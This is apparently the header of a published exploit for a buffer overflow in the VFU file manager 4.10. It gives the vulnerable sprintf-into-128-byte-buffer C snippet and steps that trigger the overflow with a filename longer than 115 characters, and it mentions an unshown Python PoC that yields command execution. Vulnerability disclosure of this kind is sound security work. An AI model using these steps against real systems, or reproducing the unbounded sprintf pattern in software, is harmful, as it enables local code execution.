# Exploit Title: VFU Move Entry Buffer Overflow

# Exploit Author: Bas van den Berg -- @barrebas

# Version: 4.10-1.1
# Tested on: GNU/Linux Kali 1.09 32-bit & Crunchbang 11 Waldorf (based on Debian Wheezy), kernel 3.2.0-4
# VFU 4.10 (probably up to 4.14) contains a buffer overflow when a user
# moves a file entry around with a large filename. To trigger this
# vulnerability, extensive user interaction is required.
# Steps to reproduce the bug: create a file with a large (>115
# characters), run VFU and select 'A' and then 'V' to move the large
# file entry around. Upon confirming the entry move, VFU crashes due to
# a buffer overflow in this function:
'''
void vfu_file_entry_move()
{
char t[128];
sprintf( t, "MOVE/REORDER File entry: %s", files_list[FLI]->name() );
say1( t );
say2( "Use Up/Down Arrows to reorder, ESC,ENTER when done." );
'''
# This overflow allows execution of arbitrary commands with the
# privilege of the current user. The attached PoC demonstrates this. It
# drops two files: the large filename and a shellscript that allows
# arbitrary command execution. Usage: $ python vfu-move-entry-poc.py
